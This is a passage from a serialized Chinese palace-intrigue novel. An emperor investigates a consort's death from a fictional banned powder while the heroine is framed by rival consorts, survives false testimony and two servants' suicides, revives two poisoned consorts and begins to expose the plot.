视线在她身上停留了片刻,沉步向宫内走去。
楚念辞只垂着
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眼,仿佛未曾察觉那短暂的注视。
一行人陆续进入正殿。
这里不久前才重新修缮过,陈设清雅许多。
端木清羽面色沉凝,缓步在正中的主位上坐下。
他刚刚从朝上过来,一身玄色正服,墨发以龙簪束起,侧影清隽如寒菊,那股子锦衣玉食堆砌起来的贵气里罩着一层冰霜。
白庶人暴毙,让正上朝太尉白战陵直接晕了过去。
他必须给太尉府一个交代。
继而,他听说寒食粉的事,这更让他恼怒异常。
后宫嫔妃间的明争暗斗他并非不知,许多时候也睁只眼闭只眼,可明目张胆用毒物害人性命……这是他绝不能容忍的底线。
楚念辞随众人一同跪下行礼。
十几日未见。
她抬眼看去,见他眉眼依旧殊丽难描,可下颌绷得极紧,眼神比往常更冷,连拳头都攥得发白……任谁都看得出,他已怒到极点。
殿内气氛一时压抑,无人敢出声。
他对黑压压跪了一地妃嫔宫人,虚抬了抬手:“都起来吧。”
淑妃只知白庶人**,还不知道发生了什么事,最先上前,脸上带着温婉关切的浅笑:“陛下,您政务繁忙,这事就交给嫔妾们处理。”
端木清羽未答,挥手赐了皇后与淑妃坐下。
他刚刚已经听了皇后派来人的汇报,知道了那纸条的内容。
她入宫以来,从未行过恶事,如今却被牵扯进人命官司里,还沾上这种毒物,他是断然不信的。
可眼下众目睽睽,又有所谓“证据”,他若表现得过于偏袒,反会将她置于更危险的境地。
当务之急,是查明白芊柔的真正死因,揪出幕后之人。
端木清羽转向跪在殿中央、瑟瑟发抖的宫女雁秋,声音沉冷:“私引主子吸食寒食粉,先拖出去,抽二十鞭子。”
众人吓得大气也不敢出。
不料陛下对寒食粉竟然愤怒到如此地步,不问青红皂白就拖出去抽二十鞭子。
无一人敢求情,直到一炷香后,被打得像个血葫芦似的雁秋被拖了回来扔在地上。
端木清羽隽美的眉间一蹙,忍住翻到喉头的恶心。
森然道:“朕问你答,但若有半句虚言,你全族的性命,便都不用要了,你家小主究竟是**的?”
第82章 淑妃的怒火,坠儿的指证。
雁秋躺在地上,气息奄奄地断断续续道:“陛下,奴婢真的不知道那是寒食粉,小主……小主脸伤后心里难受,冷宫又请不到太医,奴婢便托人买了玉福膏……小主确实渐渐好了些,可今早……奴婢唤小主起床,小主身子都凉了……”
“玉福膏?”端木清羽眉头微皱。
楚念辞也暗自诧异。
玉福膏虽也是禁药,却是用曼陀罗混合药膏制成,比寒食粉毒性轻,也不易成瘾。
因价格低廉,盘查也松懈,严查寒食粉时,不少人用它替代,而且朝廷对这项东西还没有制定严格的处罚措施,就算是食用,一时也无法惩处。
蔺皇后立即开口:“这就不对了……方才查出的分明是寒食粉。”
说着瞥了一眼身旁的楚舜卿。
楚舜卿连忙上前:“臣妾以性命担保,确是寒食粉。”
端木清羽沉吟片刻,当即宣太医入内查验。
几名太医查看了尸身,出来后回禀:“陛下、皇后娘娘,白庶人是因寒食粉过量而亡。”
此言一出,棠棣宫顿时一片低哗。
众人脸上都浮起惊惧……谁都知道寒食粉是碰不得的东西,沾上便是抄家灭族的大罪。
“光天化日竟有人用寒食粉毒害宫嫔!”
“若不揪出凶手,后宫岂有宁日?”
“到底是谁这般狠毒……”
“回皇后娘娘,”楚舜卿答道,“经臣查验,白庶人脸上疤痕确有好转,贼人似乎有意引导,让她以为以毒攻毒的法子,便能治好脸上的疮疤,白庶人因此吸食过量,**而亡。”
俏贵人故作怜悯:“这贼人真是心狠,白庶人可真是得不偿失,脸没治好,命却搭进去了。”
“正是如此。”楚舜卿低头应和。
此时雁秋强撑着身子,颤声慌忙摇着手道:“奴婢、奴婢绝对不知道这是寒食粉,只以为是玉福膏,本意只是想替小主治脸,万没想到会这样……奴婢还在小主身边发现了这个。”
说完实在受不住疼,两眼一翻就昏了过去,手里的纸条也掉在地上。
两名小太监上前,将人拖至一边。
敬喜上前捡起纸条,呈给端木清羽。
端木清羽早已知道内容,看也未看,直接示意递给淑妃。
淑妃接过纸条,还傻乎乎地轻轻念叨:“淑妃,慧贵人,我做鬼也不会放过你们。”
众妃一片哗然。
淑妃脸色瞬间铁青,她媚美的脸一片煞白,胸口剧烈起伏,喉间甚至涌上一股腥甜,全靠硬撑才压了下去。
直到此刻,她才彻底明白……有人早布好了局,正等着她往里跳。
所有人的目光都**在淑妃身上。
淑妃厉声道:“本宫绝不可能做这种事,更不会有此等脏东西,白庶人这贱婢,敢以死来构陷本宫!”
说完,美目盈盈望向端木清羽道:“陛下,要为臣妾做主啊。”
蔺皇后凌厉地扫了她一眼,眼中掠过一丝计谋得逞的笑容。
自从她失宠,淑妃日渐跋扈,连带着底下人也开始不安分。
不过她早有准备,所有证据都已处理干净,此事从头到尾她的人未曾插手,可以放心大胆的出手。
蔺皇后冷冰冰道:“清者自清,既然不是你干的,你激动什么?”
淑妃斜眼睨她,怒不可遏,一时就要发作,绿翘忙上前扯住她袖子。
“陛下,娘娘,”楚念辞上前跪下,“这件事既然牵扯到臣妾,臣妾便要说一句,即使她人**,没有任何证据,随意诬告高位妃嫔也是极大的罪过。”
她必须先把淑妃摘出去,不是她烂好人,因为皇后虽然针对的是淑妃,但其实她是准备先把淑妃打压下去,然后再与自己博弈。
先把淑妃摘出去,才能把自己摘出去了。
而且皇后根本动不了淑妃,不如自己先拉一个外援。
淑妃没想到她会帮自己说话。
胸中的怒火渐渐平息下来,看她也顺眼了几分。
蔺皇后也知道,就凭一张纸条,就想扳倒淑妃,不太可能。
以淑妃家世,除非罪恶滔天,铁证如山,否则谁也动不了她一根汗**,这便是顶级家世带来的好处,皇后也无可奈何。
但是打不着老虎捉一只狐狸也不错。
拉下楚念辞、让她惹上一身腥也是好的。
前阵子谁不知道淑妃为拉拢她,送出了一株名贵的**?
正好借此把她拖下水,夺回六宫之权。
蔺皇后脸上露出恰到好处的震惊:“陛下,臣妾也不信是淑妃所为,此事定要彻查清楚,否则后宫人心惶惶,如何安宁?”
她的目光锐利地转向楚念辞,又瞥了俏贵人一眼。
俏贵人立即会意,上前一步:“陛下、娘娘,臣妾有下情回禀。”
“讲。”端木清羽道。
俏贵人望向楚念辞,缓缓道:“臣妾想起来……前些日子,慧贵人宫中的坠儿曾来找过臣妾的宫女玉杏,说知道白庶人致死的原因。”
她冰冷的目光随即刺向楚念辞。
蔺皇后道:“传坠儿来问话。”
一名太监应声去带人。
不多时,坠儿低着头,战战兢兢地挪进殿内。
还没等问话,她突然“哎哟”一声惊叫,整个人摔倒在地。
众人皱眉看去。
坠儿却猛地跪爬几步,朝着众人连连磕头。
这一动,衣袖滑落,露出手臂上狰狞伤痕……
一道皮开肉绽,像可怖的蜈蚣趴在雪白的皮肤上,让人不忍直视。
她浑身发抖,一路哭着爬到楚念辞脚边,哀哀哭求:“小主饶命……求您饶了奴婢这条贱命吧……”
岚姑姑最看不上这些不懂规矩,厉声喝道:“慌慌张张成什么样子,还不跪好回话!”
俏贵人向身旁的玉杏递了个眼色。
玉杏会意,上前一把将她的袖子捋了上去。
胳膊上的伤痕顿时暴露在众人眼前……不止有冰痕、针痕,竟还有烫痕,新旧交错,狰狞可怖。
所有人都倒吸一口凉气,目光纷纷投向楚念辞,带着怀疑与惊骇,有人甚至窃窃私语。
俏答应故作惊讶:“慧贵人,这宫女是犯了多大的错,竟被折磨成这样?”
楚念辞面色不动,反问道:“俏答应真是聪明,怎么一眼就断定是我下的手?”
“这是你宫里的人,若不是你授意,谁敢这样动她?”俏答应捂着嘴唇,故作惊讶。
众人窃窃私语。
“怎么能这样?”
“宫女也是人啊。”
“这也太残暴了。”
端木清羽凤目寒光夺魄扫了一眼众人,侧影冷锐。
殿内嘈杂的议论声,顿时平息下去。
蔺皇后见状,冷眼看向楚念辞道:“宫女也是良家出身,岂容肆意**?你说说,她这身伤是怎么回事?”
楚念辞正欲开口。
那坠儿浑身发抖,抢先一步,连连磕头:“娘娘们别问了,都是奴婢不好,惹小主生气……主子罚奴才,天经地义,就算打死奴婢,奴婢也认,求你们别为难小主!”
楚念辞静静地看着她惊恐万状,满脸泪痕的模样。
心里冷笑,这话听起来像在维护,实则字字都在座实她的罪名。
一旁的团圆忍不住斥道:“坠儿你胡说什么,小主何时动过你一指头,我是小主贴身伺候的,每天寸步不离地跟着小主,怎么你说这些事,我从来没见过!”
坠儿抬起泪眼,凄声道:“团
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圆姐姐,奴婢从未得罪过你,可上次我只是打翻水盆,你就拿烙铁烫我……我只求你下次、下次轻一点……”
说着,她微微掀开后襟一角,露出一片焦黑的烙伤。
众人瞳孔一缩,纷纷变色,再看向楚念辞的眼神已充满猜忌与震惊。
团员瞪大了眼睛,这下她明白这蹄子为什么从来不洗澡了?
敢情她身上有这么多可怖的伤痕,就为了在今天坐实了**她的罪名。
端木清羽未说话,俊颜冷锐目光犀利。
说实话,他不相信。
与她相处这么久,从未见她如此残暴。
两人目光交会,楚念辞有些凄切地一笑,道:“臣妾没有,臣妾冤枉。”
端木清羽闻言,收回目光平视前方。
这时,沈澜冰起身谏道:“陛下明鉴,慧贵人又没得失心疯,好好**她做什么。”
“她受虐,为何不向外求救,反而一味替主子遮掩?这不合常理。”嘉妃也提出了自己的疑问。
“是啊,”淑妃已经对慧贵人观感改善,又隐隐感觉这件事是针对自己,还是开始帮腔,“陛下,臣妾也看这蹄子可疑,还是送到慎刑司好好拷问。”
见三位高位嫔妃同时质疑。
坠儿吓得肩膀微微颤抖。
蔺皇后也没想到三人同生共气,但转瞬就恢复了冷静,道:“坠儿,你说清楚,慧贵人为何**你,她逼你到底去做什么?既敢在陛下面前露伤,便是在指控主子,再不明说,那就送去慎刑司,自有办法让你开口!”
坠儿整个人抖得像片叶子,趴在地上哭喊道:“娘娘饶命,奴婢说、奴婢全都说……是奴婢不小心撞见小主私下让团圆姐姐向永巷偷送寒食粉……
小主便威胁奴婢,要是敢说出去,就找人杀了奴婢的娘……奴婢只有这一个亲人,实在不敢不从,但奴婢心里实在害怕她会将我灭口,就找了玉杏帮忙,想调出棠棣宫……”
这话一出,四下皆惊……
没想到她竟然敢用寒食粉毒害宫妃……
前朝海外传来的禁物,吸了能叫人一时飘然,久了却毁人身骨,还会上瘾,让人欲罢不能。
前朝的覆灭,与这小小的粉,脱不了干系,朝廷和宫里早明令禁止。
俏贵人捏着帕子,语气讥诮:“听说用了那东西,身子会软得像没骨头……”
“没想到是靠这种下作手段。”有人低声附和。
一道道猜疑的目光像鞭子似的抽在楚念辞身上。
沈澜冰在桌下轻轻握住她的手,指尖却微微发凉。
饶是敦厚温和好说话,团圆也已气得浑身发抖,刚要出声,就被楚念辞一个眼神按了回去。
淑妃扫了楚念辞一眼,又望向身旁的绿翘,绿翘依旧垂首静立,面色平静,便没有开口。
端木清羽俊脸阴沉。
终于开口了:“俗话说孤证不立,只有一张纸条,一人的证词,不足为信。”
坠儿忙向上磕头:“奴婢偷偷打听出,小贵子也知道这事。”
很快,小贵子被传了上来,低着头跪在地上说:“团圆姑娘确实让奴才往永巷送过东西,但奴才不知道那里面是什么。”
蔺皇后直直刺向楚念辞:“慧贵人,你还有何话说?”
楚念辞心底冷笑……事情到这儿基本就清楚了,皇后指使俏贵人送了有毒的寒食粉给白芊柔,还不知道用了什么手段,胁迫了雁秋,毒**她,然后再安排小贵子和坠儿,一起栽赃陷害自己。
她不慌不忙地瞥了团圆一眼,团圆几不可察地点了点头。
小贵子之前藏在花园里的那包东西,早就被处理掉了。
到了图穷**见的时候,她明白……反击的时候到了。
第83章 她在圣心中份量如此之重
楚念辞不可置信地看着跪在地上的坠儿和小贵子,声音微微发颤:“坠儿,小贵子……你们虽是从辛者库与浣衣局分过来的,可我自问从未另眼相待,如今,你们竟要这般恩将仇报么?”
一句辛者库与浣衣局。
让殿里宫女们都露出了鄙夷之色。
这俩人竞是这两个地方出来的,还被留下,可见慧贵人是个有容人之量的。
两人却还不安分,真是忘恩负义。
两人伏在地上,知道到了这一步已无退路,只能硬着头皮一口咬死。
异口同声道:“小主,分明是您吩咐奴婢去做的,您怎能将责任全推在奴婢们身上……”
楚念辞身子轻轻一晃,似受不住这指控。
她在岚姑姑的搀扶下缓缓跪倒,再抬头时,眼中已蓄满泪光,却强忍着不肯落下:“陛下明鉴,臣妾再糊涂,也绝不敢碰那等害人的脏东西,这二人红口白牙攀诬臣妾,臣妾百口莫辩……只求陛下彻查,还臣妾一个清白!”
此时,沈澜冰与嘉妃对视一眼,一同站了出来。
沈澜冰道:“陛下,单凭两个奴才的一面之词,实在不足为信,若无真凭实据,今日可诬慧贵人,明日、后日,还不知会轮到谁头上,长此以往,后宫岂有宁日?”
嘉妃也肃容接口:“求陛下务必查清此事,秉公处置,以正宫规!”
淑妃脸色变幻,犹豫片刻,终究也开了口:“臣妾……臣妾也被牵扯在此事之中,若不能水落石出,只怕日后也会有人往臣妾身上泼脏水,恳请陛下明察。”
“查。”端木清羽薄唇微启,只吐出一个字。
他剑眉微蹙,那双清艳的眸子里,悄无声息地渗入了一丝寒冬般的冷意,如名刀出鞘锐利逼人。
说完,他竟然站了起来,上前两步,亲手将楚念辞扶起,语气稍缓:“放心,朕在此,必不使你含冤,若无此事,朕定还你公道。”
一旁的蔺皇后脸色隐隐发白,手指在宽袖中深深掐进掌心。
她心头又酸又涩,更带着几分意外。
她没想到,皇帝竟会如此明显地回护楚念辞。
方才淑妃被牵扯时,他可未曾有半分表示。
看着皇帝亲自俯身搀扶那抹纤细高挑的身影,她清晰地感受到“宠”与“不宠”的天壤之别。
压下心底的不甘。
但转念想到此局自己布置得可谓天衣无缝,那股酸妒便又缓缓压了下去,指尖也渐渐松开。
端木清羽朝身旁的敬喜略一示意。
敬喜会意,立刻带着几名得力太监,将棠棣宫里里外外、角角落落搜了个遍。
妆匣、暗格、床褥下、花盆底……甚至砖缝都仔细查过,却是一无所获。
坠儿眼睁睁看着敬喜空手回来禀报“并无发现”,脸上最后一点血色也褪尽了,满眼俱是不可置信的惊恐。
小贵子也浑身瑟瑟发抖,他分明亲手将那包东西塞在了墙根下,怕人寻不到,还特意压了块显眼的白石头做记号!
怎会没有?
皇帝眯起眼,眸中寒光细碎,声音不高,却沉沉压下:“朕早已明令,宫中严禁诬陷构害,若查无实据,诬告者,全家连坐,本人枭首示众。”
“陛下饶命!陛下饶命啊!”坠儿彻底瘫软在地,浑身抖如筛糠,涕泪横流。
她六神无主间,下意识想朝俏贵人的方向望去,却又在触及的前一刻生生忍住。
可那瞬间游移的视线,还是泄露了些许痕迹。
俏贵人站在人群中,脸色也倏地白了,袖中的指甲几乎掐进肉里。
她心知中间定然出了岔子,如今众目睽睽,若无实证,便是坐实了诬告。
为今之计,只有……
她眼底厉色一闪,冷冷朝坠儿递去一个极其凶狠、充满胁迫的眼神。
随即,她上前一步,声音冰冷:“陛下,这奴才实在可恨,既敢攀诬主子,构陷宫嫔,便该明正典刑,以儆效尤!”
坠儿听懂了。
整个人瘫在地上。
这是要她用命,把这件事彻底钉死,再无从对证。
想起家中老母的性命捏在她人手中,她绝望地闭了闭眼,再望向楚念辞时,眼中已是一片死灰。
她颤声道:“小主……奴婢都是听您的命行事啊,奴婢、奴婢愿以死证明清白!”
话音未落,她竟不知从何处生出一股力气,猛地朝着殿中那座沉重的紫铜蟠云熏炉,狠狠撞了过去!
“砰……”
一声令人牙酸的闷响骤然炸开,紧接着是刺目的鲜血飞溅。
殿内瞬间响起一片惊恐的尖叫与抽气声。
团圆吓得捂住了嘴,沈澜冰也骇得后退半步。
楚念辞静静立在原处,看着那骤然倒下的身影和漫开的血色,咬紧嘴唇。
她没料到,为了将她拖下水,对方竟舍得下如此血本,不惜赌上一条人命。
敬喜忙上前探了探坠儿的鼻息,随即朝端木清羽无声地摇了摇头。
皇后冷哼一声。
俏贵人这个蠢货,连这种天衣无缝的计划都被她弄砸了。
居然找不到关键的物证。
只好牺牲了自己两个棋子。
她的目光冷冰冰地落在剩下的小贵子脸上,厉声道:“来人,将这个满口胡言的奴才拖去慎刑司,本宫倒要瞧瞧,是谁指使他这般攀诬主子。”
小贵子闻言,脸色“唰”地惨白如纸,早就被告知绝不能去慎刑司,心知决无生理。
膝行几步磕头如捣蒜:“奴才冤枉!奴才……奴才根本不知道那纸包里是啥,奴才只是听团圆姐之命行事啊!”
“听命行事?”楚念辞稳了稳心神,声音清冷,“你说听团圆之命?团圆是我的贴身大宫女,向来只管内帷之事,从不直接差遣外院杂役太监,你既说是她安排,那我问你——”
她目光如针,刺向小贵子:“院门前那对石狮子,左边母兽,几日擦洗一次?”
小贵子一愣,额头冒汗,支吾道:“前几日才刚擦洗过……”
“胡扯!”团圆立刻出声,瞪圆了眼,“母狮子分明在右边,你连这都不知,还敢说是常在内院走动、听我吩咐的?”
岚姑姑亦上前,朝帝后一拜,语气沉稳:“陛下、娘娘明鉴,小贵子只是外围洒扫的粗使,团圆如何会越级让他去做这等机密之事?此中矛盾,显而易见。”
众人交换着眼神,心中已明了七八分。
小贵子脸上红白交错,眼见漏洞百出,情急之下竟双目赤红,如困兽般猛地抬头,死死瞪向楚念辞,嘶声道:“你想逼死我,我跟你拼了!”
殿内顿时惊呼一片!
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>楚念辞尚未从方才的血腥中全然回神,便见那太监状若疯癫,竟不顾一切朝自己猛扑过来。
端木清羽厉喝“放肆”,也只让他身形微顿。
电光石火间,那人已扑至眼前,带着绝望的凶狠……
只见端木清羽身影倏然一动,快得几乎看不清动作。
他袍袖拂起,不知他是出了拳还是出了脚。
身影如雪练惊鸿,在空中划出一道冷冽的弧线,精准地踢在小贵子胸口!
“砰”的一声闷响,伴随着骨骼错位的细微“喀嚓”声,小贵子前冲之势戛然而止,
整个人如断线木偶般轰然倒地,蜷缩着抽搐两下。
他见自己一击未中。
知已断无生理。
也一头撞在墙上,血浆崩裂,尸体倒地。
楚念辞脑中嗡嗡作响,怔怔地看着眼前的他。
没想到皇帝会为自己出手,震惊到无以复加
心中不由一时感动,反应过来,连忙一把护住他。
皇后与淑妃也吓得呆了。
两人只觉脸上溅上几滴温热的液体。
抬手一抹,指尖一片猩红。
皇后忙侧身,淑妃则尖叫让绿翘擦脸。
端木清羽顿时掩住口鼻,走到一边干呕了几下,楚念辞一边替他抚背,一边让敬喜拿了香囊给他嗅闻。
“竟敢在朕面前行凶,刺杀宫妃。”端木清羽缓了过来,拂袖走回椅子上坐,声音冰寒刺骨,“来人,将这两具尸首拖出去,枭首示众,夷其族。”
殿内死寂一片,众人吓得连呼吸都冻住了。
谁也没想到事情会急转直下至此。
小贵子竟敢当面动手,而陛下……竟为护慧贵人当场出手!
所有人心头剧震,再看向楚念辞时,目光已截然不同。
她在圣心中的分量如此之重。
此刻谁还敢质疑她在圣心中的分量?
皇后无力的坐在凤座上。
淑妃以刚才端木清羽去扶楚念辞就已经不舒服,如今见陛下竟然为了救她亲自出手。
眼中又冒出一阵阵的嫉火。
可众目睽睽之下,不好表现的太多,只气哼哼的坐在椅子上生闷气。
坠儿与小贵子的尸首很快被无声拖走,只留下地上一滩暗红痕迹。
殿内暖炉烧得正旺,楚念辞却只觉得寒意从骨头缝里渗出来。
她用力攥紧袖口,指尖掐进掌心,用疼痛提醒自己。
此刻绝不能有一丝心软。
夷族处罚确实有点狠厉,可小贵子和坠儿得逞,自己岂能全身而退?说不定也会被夷族,所以对待这种事绝不能有丝毫的心软。
陛下下决心斩草除根。
也是为了保护自己。
俏贵人深深低着头,袖中的手攥的指节发白,心中恨极:两个废物,命都搭了进去,事情都没办成。
她不能输。
幸好……自己还有一步暗棋。
她悄悄抬眼,瞥向人群某处。
算算时辰,那杯茶……该发作了。
果然,就在这片压抑的寂静中,坐在下首的嘉妃忽然眉头紧蹙,轻哼一声,而沈澜冰扶着肚子似要站起。
可她话未出口,身子便是一软,竟直直朝前晕厥过去!
“小主!”红缨失声尖叫,扑了上去。
刚刚稍缓的殿内,顿时再度陷入混乱。
第84章 破开迷雾
事情陡然走急转直下。
两个关键的人证,转眼间死无对证。
如今竟又有两位妃嫔当场**倒下。
皇后果然厉害,竟然还安排了这个后手。
楚念辞只觉得脊背上的冷汗“唰”地一下就冒了出来,瞬间浸湿了内衫。
她顾不得震惊与恐慌,一个箭步冲上前,在红缨之前扶住了软倒的沈澜冰:“冰儿,怎么了?”
还没说完,嘉妃也软倒在一边。
嘉妃的祖父是镇国公,乃随先帝东征西讨、平定天下的元勋,在武将中声望极高,甚至在某些方面的根基与影响力,已隐隐超过太尉与宰相。
说得直白些,这半壁江山的安稳,离不开镇国公府的支撑,连京畿的部分防务也曾由其子弟掌管。
她若在棠棣宫有个三长两短,后果不堪设想。
帝后全都大惊失色地站了起来。
楚念辞还算镇静,一边让宫人把两人扶到榻上,一边已伸手搭上了她俩的腕脉。
冰儿脉象又急又乱,如绷紧欲断的琴弦,
而嘉妃稍微好一点。
俩人分明是急性毒物侵入心脉之兆……是寒食散。
这药少量服用会令人精神亢奋、飘飘然,一旦过量,便是催命**。
此刻冰儿面色青白,气息微弱,已然危在旦夕,嘉妃也痛得俊脸通红。
太医院中,唯有章太医医术最为精湛,可偏偏今日他并不当值。
其他太医的水平,楚念辞实在不敢将俩人的性命托付。
若此刻再去传唤,只怕人还未到,冰儿,嘉妃便已救不回来了。
“团圆,去我妆台最左边的抽屉里,取那套金针来!”楚念辞头也不回地急道。
“大胆,”蔺皇后尖锐的声音骤然响起,目光如刀锋般剐向楚念辞,“你并非太医,谁准你私自施针?到了这一步,还不从实招来,想害人不成?”
说罢,她便示意身边的大宫女夏冬上前阻拦。
团圆和红缨立刻侧身一步,牢牢挡在了夏冬面前,形成一道无声的人墙。
蔺皇后转而看向端木清羽,声音带着急促:“陛下,嘉妃性命攸关,岂可让慧贵人胡乱动手?应当立即传唤太医!”
端木清羽负手而立,面容沉静,眼底却是一片深不见底的幽潭。
他并未立刻回应皇后,目光在楚念辞镇定中带着焦灼的侧脸上一掠而过。
他想起她曾为他缓解心疾时那娴熟精准的手法。
“朕许你动针,”他终于开口,声音不高,带着信任,“敬喜,你亲自速去请章太医,要快。”
蔺皇后脸上的血色瞬间褪尽,惨白如纸。
她难以置信地看着皇帝……
根本不知道楚念辞的医术。
正因如此,蔺皇后的震惊才更无以复加。
当然,她的嫉妒与淑妃儿女情长不同。
她妒恨的是端木清羽的当众维护她,踩自己的面子。
他竟再一次,当众站在了楚念辞那一边!
一股混合着**、妒恨与冰凉的寒意,狠狠攫住了她的心脏。
颓然坐在凤椅上。
淑妃本也恨妒交加,见她如此,脸上反而升起一股快意。
她又不蠢,自然也看明白了其中的关键,皇后这是想除掉慧贵人。
看在她刚刚帮自己说话的份上,自己就不落井下石了。
且坐在一边看她们鹬蚌相争。
楚念辞得了准话,不再有丝毫犹豫。
团圆已飞快取来针囊。
她拈起细长的金针,在烛火上迅速一燎,目光沉凝,出手如电,接连刺入冰儿与嘉妃几处重要的解毒穴位。
手法之稳、认穴之准,让一旁略通医理的宫人也暗自心惊。
不过片刻,沈澜冰呼吸恢复了正常。
紧紧蹙着的眉间似乎松开了,只是**太深人仍旧没醒。
嘉妃青白的面色竟真的缓缓回转,紧蹙的眉宇稍稍松开,喉间发出一声细微的呻吟,眼睫颤动,悠悠醒转过来。
“醒了,嘉妃娘娘醒了!”扫雪喜极而泣。
与另一名宫女连忙小心翼翼地将嘉妃扶到一旁的软榻上躺下。
端木清羽也移步榻边坐下,众人屏息静气,围拢在侧,殿内一时只闻嘉妃略显粗重的呼吸声。
约莫过了两盏茶的功夫,嘉妃气息渐匀。
敬喜也恰好带着匆匆赶来的章太医入了殿。
章太医不敢耽搁,立即上前诊视,片刻后躬身禀道:“启禀陛下、皇后娘娘,嘉妃娘娘确系寒食散**,幸而救治及时,手法得当,护住了心脉,暂无性命之忧,但体内余毒尚需慢慢化解调理。”
一直低着头站在旁边的楚舜卿见状,觉得是自己立功的机会到,便上前用手沾了一点那茶水,又插嘴道:“陛下,皇后,这正是导致白庶人的寒食粉,成分一模一样,此毒发作急猛,必是刚刚误服所致,微臣建议,应立即彻查棠棣宫内一应饮食茶水。”
又是寒食粉。
众人皆是一惊,若是在此出现寒食粉,那棠棣宫便说不清楚了。
殿内陷入一片焦灼的寂静。
此时,嘉妃虚弱地睁开眼,手指微动,轻轻拉住了身旁楚念辞的袖角,又看向端木清羽,气若游丝道:“陛下……臣妾入殿后,只、只饮过半盏参茶暖身……”
端木清羽俊美的脸上掠过一丝震惊。
俏贵人一直紧绷的脸上,极快地掠过一丝几不可察的快意。
随即换上痛心与惊惶表情,疑惑道:“刚刚喝了参茶?莫非……莫非就是那茶有问题?”
她说着,目光似有若无地瞟向楚念辞。
端木清羽轻轻拍了拍嘉妃的手背,沉声道:“去查下,刚刚嘉妃喝的茶水。”
敬喜应声,汇同章太医,很快查出参茶中有寒食散。
蔺皇后胸口那股压了许久的妒火与难堪,此刻再也按捺不住。
她端丽的面容因强抑情绪而略显僵硬,开口
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道:“陛下,茶水中查出毒物,足见毒物必定藏在某处,臣妾以为,既然线索指向棠棣宫,不若将慧贵人身边贴身伺候的宫人,送往慎刑司仔细询问,重刑之下,不怕问不出实话,也能及早找到毒源,以免再生祸端!”
俏贵人连忙附和,声音带着担忧:“皇后娘娘言之有理,陛下,既然毒是在棠棣宫发作的,说明毒物极可能就藏匿在此处,只是被心思深沉之人藏得极为隐秘,若不彻底搜查审问,往后这宫里岂非人人自危?想想都觉可怕……”
她的话引来宫人低声附和,殿内响起一片不安的窃窃私语。
端木清羽目光微凝,缓缓扫过棠棣宫一众跪伏在地的宫人。
团圆吓得面色发白,身子微微发抖,岚姑姑脸上虽竭力保持着镇定,背脊挺直,但那垂在身侧的手,指尖已深深掐进了掌心。
岚姑姑忽然深吸一口气,上前一步,声音平稳却决绝:“陛下,娘娘,奴婢是棠棣宫的掌事姑姑,宫中一切事务,奴婢皆有责任,若要查问,请先从奴婢开始,奴婢愿往慎刑司,以证清白!”
“岚姑姑不可!”楚念辞皱眉。
她心中不由微微感动。
俗话说,患难见真情,之前她确实对岚姑姑不是全然信任。
但经过这件事,对他的信任度增加了不少。
于是立即打断,她转向端木清羽,恳切道:“陛下,重刑之下,必有冤狱,方才那两人,连自己的性命都能拿来作诬陷臣妾的筹码,他们背后之人,还有什么事做不出来?若因此让忠心之人蒙冤屈打,岂非正中了歹人的下怀?”
“若不如此,怎能证明你清白,”俏贵人抢白道,语气变得尖厉。
蔺皇后压下眼底翻腾的恨意,道:“皇上,事实摆在眼前,有人**,”
她目光如刀,落在楚念辞身上,语气竟带上了几分叹息,“新入宫的姐妹里,陛下最宠爱的便是慧贵人了,只是你宫中出了这样的事,若不查清楚,难免也坏了你的声名……”
“是啊,”俏贵人帮腔,“若不动刑,怎能洗清姐姐清白?”
楚念辞脑子飞快地转着,一遍遍告诉自己,不能慌,一慌就乱,正中她们下怀,陷入万劫不复。
眼下两个告发她的人已死,毒物寒食粉又偏偏在她的宫里被发现,人证物证看似齐全,几乎将她逼入死局。
要破局,除非能找到皇后布下的另一颗暗棋。
可她和岚姑姑暗中观察了这么久,宫里再没发现其他可疑之人。
难道还有隐藏更深的?
不,安插的人越多,越容易暴露,皇后不会冒这个险。
那毒……会不会根本不是其他人放的?
“她们如何下毒呢……”
她反复琢磨着这句话。
忽然,一个念头如闪电般劈开迷雾……
如果下毒的人,就是那两个“**”呢?
摸到关窍了……她知道她们的手法了。
第85章 斟破**下毒连环计
如果……下毒的人就是那个“告发者”呢?
如果毒,是以另一种方式带进来的?
楚念辞猛地抬眼,目光锐利地看向俏贵人……
那张艳若桃李的脸上,此刻正隐隐透着得意与张狂。
仿佛在说,你,永远也斗不过我。
俏贵人做事往往不喜欢按常理出牌,对于她布置的局,不能以常理度之。
一个清晰而大胆的猜测,在她心中迅速成形。
她先让章太医将沈澜冰与嘉妃抬至偏殿医冶。
然后,回身,拜了拜。
“这确实是寒食粉,”楚念辞开口道,“但和毒死白庶人的那种,并不一样。”
殿内顿时静了静,众人面面相觑。
不都是寒食粉吗?
能有什么不同?
端木清羽与蔺皇后听懂了她的意思……若是毒不一样,白庶人的死就与楚念辞无关。
蔺皇后立刻看向楚舜卿,声音微沉:“可楚内医方才明明说,两者成分一致。”
端木清羽冰剪寒眸也随之落到楚舜卿身上:“不错,你刚才是这么说的。”
楚舜卿本来还在幸灾乐祸看笑话,闻言扑通一声跪了下来:“陛下、娘娘明鉴,微臣所言千真万确,二者确实都是寒食粉,章太医方才也验过的……”
“不一样,”楚念辞打断她,声音清晰,“嘉妃与斓贵人用的是高度提纯的寒食粉,只因服用过量才昏迷,而白庶人体内的寒食粉……掺了**。”
端木清羽抬手,命人将两种毒粉呈上。
章太医仔细验看后,眉头紧锁:“陛下、娘娘,确如小主所言,白庶人所中之毒含微量**,日积月累才致毒发,而这一份纯度更高,应是直接投入茶水中所致。”
“这、这怎么可能?”楚舜卿脸色大变,抢上前亲自查验,顿时面红耳赤。
她方才只顾抢功,竟连其中一份掺了**都未察觉!
“陛下,楚内医医术拙劣,误诊已不止一回了。”淑妃明艳的脸上掠过一丝讥诮。
楚舜卿气得胸口起伏,喉间甚至涌上一股腥甜,费了好大劲才压下去。
淑妃简直是她的克星,自从上次月事失仪让她丢了脸,就处处针对自己。
可偏偏她还不敢反抗。
只能低着头默默咽下**。
蔺皇后脸色沉了下来,端木清羽眼神更冷。
俏贵人急忙辩解:“那又如何?说不定就是你用了两种不同的毒!”
淑妃却用帕子掩唇,唇角勾起了一抹轻蔑的弧度,轻轻笑了一声:“一个人下毒还分两种药?这人不是坏,就是蠢。”
俏贵人被她怼得说不出话来。
“陛下,正如淑妃所言,”楚念辞抬起头,眸光因兴奋而闪亮,“之所以出现两种毒,很简单……因为下毒的,根本是两拨人。”
她顿了顿,一字一句道:“白庶人的毒,是小贵子下的。而棠棣宫的毒,是坠儿下的。”
